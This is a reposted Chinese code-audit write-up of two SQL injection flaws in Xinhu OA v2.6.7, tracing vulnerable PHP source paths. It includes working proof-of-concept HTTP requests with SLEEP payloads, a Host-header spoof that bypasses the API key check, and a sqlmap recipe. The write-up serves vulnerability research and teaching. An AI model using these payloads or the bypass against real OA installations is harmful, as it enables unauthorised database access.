【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入

admin 2025年6月8日13:56:46评论5 views字数 5805阅读19分21秒阅读模式

 

文章作者:CrayonXiaoxin

文章来源:https://xz.aliyun.com/news/18185

信呼OA v2.6.7 SQL注入漏洞

系统介绍

信呼,免费开源的办公OA系统,包括APP,pc上客户端,REIM即时通信,服务端等,让每个企业单位都有自己的办公系统。

官网:http://www.rockoa.com

路由分析

抓一个登录请求包分析【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入

其中a是方法 m是目录 如果有多层目录则 d是最外层目录  m由 文件名|目录 组成

漏洞点一 (存在 ip限制)

源码分析

在文件中分析代码找到webmain/task/openapi/opendkqAction.php的addkqjs方法 调用了insert方法

private function addkqjs($sn)  {      $uarr = array(         'pinpai'=> '1',         'num'=> $sn,         'name'=> $sn,         'comid' => '1',         'optdt' => $this->now      );      $uarr['id'] = m('kqjsn')->insert($uarr);      return $uarr;  }

一步步跟进去查看insert方法  确认传入的值被带入到sql语句中执行了sql

public function insert($arr)  {      $nid = 0;      if($this->record($arr, ''))$nid = $this->db->insert_id();      return $nid;  } // include/class/mysql.phppublic function record($arr, $where='')  {      return $this->db->record($this->table, $arr, $where);  }public function record($table,$array,$where='')  {      $addbool   = true;      if(!$this->isempt($where))$addbool=false;      $cont     = '';      if(is_array($array)){         foreach($array as $key=>$val){            $cont.=",`$key`=".$this->toaddval($val)."";         }         $cont  = substr($cont,1);      }else{         $cont  = $array;      }      $table = $this->gettables($table);      if($addbool){         $sql="insert into $table set $cont";      }else{         $where = $this->getwhere($where);         $sql="update $table set $cont where $where";      }      return $this->tranbegin($sql);  }private function tranbegin($sql)  {      //if($this->errorbool)return false;      if($this->conn == null)$this->connect();      $this->iudcount++;      if(!$this->tran){         //$this->starttran();         //$this->tran=true;    }      $rsa   = $this->query($sql);      $this->iudarr[]=$rsa;      if(!$rsa)$this->errorbool = true;      return $rsa;  }

接下来就往上看哪里调用addkqjs方法传值 $sn  在同文件内 找到了senddata 调用了这个方法

private function senddata($type)  {      $str = $this->postdata;      if(isempt($str))$this->showreturn('', 'not data', 201);      $arr   = json_decode($str, true);      $oi    = 0;$uarr = array();$finarr = array();      $dtobj     = c('date');$adb   = m('admin');$db = m('kqdkjl');$uobj = m('userinfo');      $updt  = '';      $cheobj = c('check');      $snarr     = array();      if($type==9){         $snarr = $this->db->getarr('[Q]kqjsn','`pinpai`=1','`id`,`name`','num');      }      $datype = array('密码','指纹','刷卡');      if(is_array($arr))foreach($arr as $k=>$rs){         $name = isset($rs['name']) ? $rs['name'] : '';         $dkdt = isset($rs['dkdt']) ? $rs['dkdt'] : '';         $finge= isset($rs['finge']) ? $rs['finge'] : '';         $name = str_replace("'",'', $name);         $uid  = 0;         $snid = 0;         $sntype = 1;         $comid = 0;         $explain = '';         if($type==9){            $sn      = arrvalue($rs, 'sn');            if(!$sn)continue;            $snrs = arrvalue($snarr, $sn);            if(!$snrs){               $snrs = $this->addkqjs($sn);               $snarr[$sn] = $snrs;            }

继续分析代码$sn 由arrvalue方法取自传入的第一参数的 一个key为sn的valen值

$sn      = arrvalue($rs, 'sn');  function arrvalue($arr, $k, $dev='')  {      $val  = $dev;      if(isset($arr[$k]))$val= $arr[$k];      return $val;  }

继续分析代码 得知想要执行到这里 需要$type 等于9且  $rs 来自于 $arr 的value    然后  $arr 又来自于 json解码后的 $str   $str来自于 传入的post请求体  是可控的

最后查找调用 senddata 被  同文件下的  zktimeAction 调用 同时也传入了9 满足上面的 $type =9

public function zktimeAction()  {      //9中控      $carr  = $this->senddata(9);      echo $carr['updt'];  }

继续看代码发现 这个类的父类中存在一个鉴权  但是分析代码可知 Host 是127.0.0.1 或 192.168.x.x 的范围就可以绕过验证 。

public function initAction()  {      $this->display= false;      $openkey      = $this->post('openkey');      $this->openkey     = getconfig('openkey');      if($this->keycheck && HOST != '127.0.0.1' && !contain(HOST,'192.168') && $this->openkey != ''){         if($openkey != md5($this->openkey))$this->showreturn('', 'openkey not access', 201);      }      $this->getpostdata();  }

按照路由构造请求url

/index.php?m=opendkq|openapi&d=task&a=zktime

按照sn的取值 构造两层json

{"cn":{"sn":"123"}}

host 为127.0.0.1

漏洞利用

poc

POST /index.php?m=opendkq|openapi&d=task&a=zktime HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=p4idg1a6f9b059t7laum6m333o; deviceid=1733809734848Connection: closeContent-Length: 34Content-Type: application/x-www-form-urlencoded{"cn":{"sn":"123' and sleep(3)#"}}
【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入
【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入

sqlmap

sqlmap  结合burp  修改host

POST /index.php?m=opendkq|openapi&d=task&a=zktime HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=p4idg1a6f9b059t7laum6m333o; deviceid=1733809734848Connection: closeContent-Length: 34Content-Type: application/x-www-form-urlencoded{"cn":{"sn":"123'*"}}
【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入

漏洞点二 (存在 ip限制)

源码分析

webmain/task/openapi/openbaseAction.php

【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入

看getpostarr()方法可以分析出 传入的post值需要为json格式【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入

继续分析下面的代码传入的参数basemodenum 赋值给了 $modenum   baseoptid参数 赋值给了 $adminid  但是经过了过滤 无法传入单引号等内容

在21行代码中调用getuserid方法对 $adminid 参数进行了查询  并且在22行代码可以得知 需要让21行的查询获得数据 不然会直接报错终止

根据查看sql语句可以得知 查询的内容在admin表中  分析可知 最简单方法的就是传入一个1 即可

【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入

继续分析代码 查看querydata方法获得了三个参数做了什么操作  看代码发现 在方法中将传入的 $modenum 也就是 $num 传入了initflow方法中【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入

【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入

继续跟进initflow方法 发现又被传入了initdata 方法中

【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入

在这里 $num 的值被添加到了sql的一个条件语句中被执行 其中无任何限制 这样我们就可以开始构造poc 进行利用【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入

漏洞利用

poc

POST /index.php?m=openbase%7Copenapi&d=task&a=querydata HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 58Cookie: {"baseoptid":"1","basemodenum":"a123456' OR SLEEP(0.01)#"}
【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入
【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入
 


【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入

原文始发于微信公众号(神农Sec):【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月8日13:56:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞】PHP代码审计篇 - 信呼OA 前台分析SQL注入https://cn-sec.com/archives/4145970.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息